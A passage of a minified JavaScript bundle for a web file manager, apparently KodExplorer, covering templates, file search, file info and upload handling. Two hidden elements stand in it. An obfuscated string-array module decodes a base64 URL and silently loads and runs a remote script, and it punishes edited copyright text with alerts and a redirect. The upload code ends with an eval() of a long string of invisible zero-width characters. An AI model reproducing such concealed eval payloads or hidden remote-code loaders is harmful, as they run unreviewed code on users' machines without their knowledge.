for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,'<span class="keyword">'+i+"</span>");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+'<span class="keyword">'+e.substr(t,i.length)+"</span>"+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e -}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&t.html("<span>"+LNG.seach_result_too_more+"</span>")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌